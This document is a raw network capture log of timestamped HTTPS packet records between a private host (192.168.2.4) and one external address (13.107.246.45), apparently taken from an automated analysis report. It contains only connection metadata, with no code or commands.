Oct 29, 2024 10:47:47.904037952 CET	49858	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:47.905062914 CET	49858	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:47.905078888 CET	443	49858	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:47.909658909 CET	49859	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:47.909687042 CET	443	49859	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:47.909815073 CET	49859	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:47.910181046 CET	49859	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:47.910192966 CET	443	49859	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:47.912228107 CET	49860	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:47.912266970 CET	443	49860	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:47.912332058 CET	49860	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:47.913639069 CET	49861	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:47.913677931 CET	443	49861	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:47.913753986 CET	49861	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:47.914557934 CET	49860	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:47.914572954 CET	443	49860	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:47.915406942 CET	49861	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:47.915440083 CET	443	49861	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:48.123939037 CET	443	49857	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:48.124124050 CET	443	49857	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:48.124212027 CET	49857	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:48.135025024 CET	49857	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:48.135041952 CET	443	49857	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:48.135049105 CET	49857	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:48.135056019 CET	443	49857	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:48.137722015 CET	49862	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:48.137762070 CET	443	49862	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:48.137921095 CET	49862	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:48.138123035 CET	49862	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:48.138137102 CET	443	49862	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:48.654195070 CET	443	49858	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:48.654817104 CET	443	49859	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:48.666300058 CET	49858	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:48.666327953 CET	443	49858	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:48.667128086 CET	49858	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:48.667134047 CET	443	49858	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:48.667567015 CET	49859	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:48.667593002 CET	443	49859	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:48.668039083 CET	49859	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:48.668042898 CET	443	49859	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:48.794634104 CET	443	49858	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:48.794789076 CET	443	49858	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:48.794857025 CET	49858	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:48.796709061 CET	443	49859	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:48.796763897 CET	443	49859	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:48.796873093 CET	49859	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:48.864367008 CET	443	49860	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:48.864926100 CET	443	49861	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:48.870488882 CET	49858	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:48.870516062 CET	443	49858	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:48.883965969 CET	49861	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:48.884025097 CET	443	49861	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:48.884977102 CET	49861	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:48.884989977 CET	443	49861	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:48.885166883 CET	49859	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:48.885188103 CET	443	49859	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:48.885196924 CET	49859	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:48.885201931 CET	443	49859	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:48.887870073 CET	49860	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:48.887892008 CET	443	49860	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:48.888854980 CET	49860	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:48.888860941 CET	443	49860	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:48.893815994 CET	443	49862	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:48.898338079 CET	49862	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:48.898350000 CET	443	49862	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:48.901391983 CET	49862	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:48.901396990 CET	443	49862	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:48.966885090 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:48.966957092 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:48.967037916 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:48.968178988 CET	49864	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:48.968214989 CET	443	49864	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:48.968337059 CET	49864	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:48.978986025 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:48.979024887 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:48.981982946 CET	49864	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:48.981998920 CET	443	49864	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:49.187299013 CET	443	49860	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:49.187400103 CET	443	49860	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:49.187474012 CET	49860	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:49.187553883 CET	443	49861	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:49.187580109 CET	443	49862	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:49.187699080 CET	443	49861	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:49.187751055 CET	443	49862	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:49.187762976 CET	49861	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:49.187796116 CET	49862	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:49.217232943 CET	49860	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:49.217256069 CET	443	49860	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:49.217267990 CET	49860	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:49.217273951 CET	443	49860	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:49.254528046 CET	49861	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:49.254580021 CET	443	49861	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:49.254625082 CET	49861	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:49.254642963 CET	443	49861	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:49.255958080 CET	49862	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:49.255971909 CET	443	49862	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:49.255981922 CET	49862	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:49.255985975 CET	443	49862	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:49.260658979 CET	49865	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:49.260727882 CET	443	49865	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:49.260811090 CET	49865	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:49.262181044 CET	49865	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:49.262212992 CET	443	49865	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:49.262518883 CET	49866	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:49.262571096 CET	443	49866	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:49.262936115 CET	49866	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:49.263475895 CET	49866	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:49.263504028 CET	443	49866	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:49.263938904 CET	49867	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:49.263962030 CET	443	49867	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:49.264079094 CET	49867	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:49.264287949 CET	49867	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:49.264312983 CET	443	49867	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:49.914294004 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:49.918452024 CET	443	49864	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:49.960253954 CET	49864	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:49.960263014 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:49.990984917 CET	443	49865	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:50.035161018 CET	443	49866	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:50.040764093 CET	443	49867	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:50.040875912 CET	49865	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:50.087507963 CET	49867	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:50.087565899 CET	49866	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:50.718270063 CET	49867	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:50.718329906 CET	443	49867	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:50.730879068 CET	49867	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:50.730897903 CET	443	49867	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:50.733184099 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:50.733205080 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:50.742795944 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:50.742801905 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:50.745472908 CET	49864	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:50.745544910 CET	443	49864	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:50.746155024 CET	49864	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:50.746170998 CET	443	49864	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:50.746700048 CET	49865	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:50.746731997 CET	443	49865	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:50.747394085 CET	49865	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:50.747405052 CET	443	49865	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:50.748064995 CET	49866	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:50.748095989 CET	443	49866	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:50.748697042 CET	49866	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:50.748708010 CET	443	49866	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:50.868002892 CET	443	49867	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:50.868025064 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:50.868062973 CET	443	49867	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:50.868136883 CET	49867	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:50.868206024 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:50.868268013 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:50.871603966 CET	443	49865	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:50.891266108 CET	443	49864	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:50.891360044 CET	443	49864	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:50.891392946 CET	443	49865	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:50.891391039 CET	443	49866	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:50.891501904 CET	49865	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:50.891541958 CET	49864	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:50.891587019 CET	443	49866	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:50.891645908 CET	49866	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:51.231684923 CET	49867	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:51.231684923 CET	49867	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:51.231746912 CET	443	49867	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:51.231776953 CET	443	49867	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:51.247735977 CET	49866	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:51.247821093 CET	443	49866	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:51.247860909 CET	49866	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:51.247884989 CET	443	49866	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:51.255793095 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:51.255852938 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:51.255913019 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:51.255933046 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:51.256818056 CET	49865	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:51.256839991 CET	443	49865	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:51.258419991 CET	49864	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:51.258420944 CET	49864	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:51.258443117 CET	443	49864	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:51.258465052 CET	443	49864	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:51.277173996 CET	49868	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:51.277229071 CET	443	49868	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:51.277362108 CET	49868	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:51.280919075 CET	49868	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:51.280936956 CET	443	49868	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:51.286706924 CET	49869	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:51.286792040 CET	443	49869	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:51.286890030 CET	49869	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:51.287065029 CET	49869	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:51.287091970 CET	443	49869	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:51.289154053 CET	49870	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:51.289171934 CET	443	49870	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:51.289261103 CET	49870	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:51.291208982 CET	49870	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:51.291222095 CET	443	49870	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:51.291264057 CET	49871	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:51.291291952 CET	443	49871	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:51.291372061 CET	49871	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:51.291460037 CET	49871	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:51.291472912 CET	443	49871	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:51.293112993 CET	49872	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:51.293163061 CET	443	49872	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:51.293335915 CET	49872	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:51.293962955 CET	49872	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:51.293993950 CET	443	49872	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:52.018544912 CET	443	49869	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:52.022192001 CET	443	49870	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:52.027473927 CET	443	49868	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:52.042476892 CET	443	49871	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:52.062709093 CET	49869	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:52.065814018 CET	49870	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:52.074428082 CET	49871	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:52.074454069 CET	443	49871	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:52.075432062 CET	49871	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:52.075439930 CET	443	49871	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:52.075653076 CET	49870	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:52.075666904 CET	443	49870	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:52.076184988 CET	49870	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:52.076191902 CET	443	49870	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:52.076702118 CET	49869	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:52.076708078 CET	443	49869	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:52.077326059 CET	49869	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:52.077331066 CET	443	49869	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:52.078042984 CET	49868	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:52.078063011 CET	443	49868	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:52.078541994 CET	49868	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:52.078546047 CET	443	49868	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:52.201661110 CET	443	49870	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:52.201800108 CET	443	49870	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:52.201936007 CET	49870	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:52.203279018 CET	443	49869	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:52.203521967 CET	443	49869	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:52.203571081 CET	49869	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:52.204179049 CET	443	49871	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:52.204226017 CET	443	49871	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:52.204328060 CET	49871	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:52.204341888 CET	443	49871	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:52.204401970 CET	49871	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:52.205867052 CET	443	49868	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:52.205920935 CET	443	49868	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:52.205988884 CET	49868	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:52.206003904 CET	443	49868	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:52.206075907 CET	443	49868	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:52.206240892 CET	49868	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:52.343849897 CET	49870	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:52.343897104 CET	443	49870	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:52.390974045 CET	443	49872	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:52.414354086 CET	49869	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:52.414354086 CET	49869	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:52.414410114 CET	443	49869	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:52.414443970 CET	443	49869	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:52.417917967 CET	49872	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:52.417993069 CET	443	49872	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:52.418689013 CET	49872	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:52.418704987 CET	443	49872	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:52.418904066 CET	49871	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:52.418926001 CET	443	49871	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:52.418951035 CET	49871	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:52.418965101 CET	443	49871	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:52.428963900 CET	49868	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:52.429003954 CET	443	49868	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:52.429018974 CET	49868	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:52.429027081 CET	443	49868	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:52.435549974 CET	49873	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:52.435647011 CET	443	49873	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:52.435734034 CET	49873	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:52.442678928 CET	49873	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:52.442715883 CET	443	49873	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:52.445504904 CET	49874	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:52.445559978 CET	443	49874	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:52.445630074 CET	49874	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:52.445813894 CET	49874	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:52.445828915 CET	443	49874	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:52.493288994 CET	49875	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:52.493326902 CET	443	49875	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:52.493403912 CET	49875	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:52.544399023 CET	443	49872	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:52.544420958 CET	443	49872	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:52.544480085 CET	443	49872	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:52.544517040 CET	49872	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:52.544611931 CET	49872	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:52.844654083 CET	49876	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:52.844734907 CET	443	49876	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:52.844825983 CET	49876	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:52.859066010 CET	49875	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:52.859134912 CET	443	49875	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:52.862469912 CET	49872	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:52.862550974 CET	443	49872	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:52.862607956 CET	49872	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:52.862627983 CET	443	49872	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:52.930556059 CET	49876	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:52.930600882 CET	443	49876	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:52.933614016 CET	49877	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:52.933670044 CET	443	49877	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:52.933779955 CET	49877	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:52.934072018 CET	49877	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:52.934087038 CET	443	49877	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:53.378724098 CET	443	49874	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:53.379239082 CET	49874	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:53.379282951 CET	443	49874	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:53.379729986 CET	49874	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:53.379740000 CET	443	49874	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:53.514945984 CET	443	49874	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:53.515677929 CET	443	49874	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:53.515744925 CET	49874	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:53.515793085 CET	49874	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:53.515793085 CET	49874	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:53.515820980 CET	443	49874	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:53.515840054 CET	443	49874	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:53.518651962 CET	49878	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:53.518738985 CET	443	49878	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:53.518817902 CET	49878	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:53.519011021 CET	49878	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:53.519043922 CET	443	49878	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:53.578577042 CET	443	49873	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:53.579197884 CET	49873	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:53.579265118 CET	443	49873	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:53.580657959 CET	49873	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:53.580689907 CET	443	49873	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:53.593508959 CET	443	49875	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:53.593909025 CET	49875	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:53.593925953 CET	443	49875	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:53.594408989 CET	49875	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:53.594419003 CET	443	49875	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:53.664802074 CET	443	49877	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:53.665297031 CET	49877	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:53.665328026 CET	443	49877	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:53.665847063 CET	49877	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:53.665863991 CET	443	49877	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:53.665986061 CET	443	49876	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:53.666285038 CET	49876	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:53.666315079 CET	443	49876	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:53.666729927 CET	49876	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:53.666737080 CET	443	49876	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:53.711559057 CET	443	49873	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:53.711580992 CET	443	49873	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:53.711642027 CET	443	49873	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:53.711641073 CET	49873	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:53.711698055 CET	49873	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:53.712099075 CET	49873	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:53.712141991 CET	443	49873	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:53.712171078 CET	49873	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:53.712199926 CET	443	49873	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:53.716949940 CET	49879	443	192.168.2.4	13.107.246.45
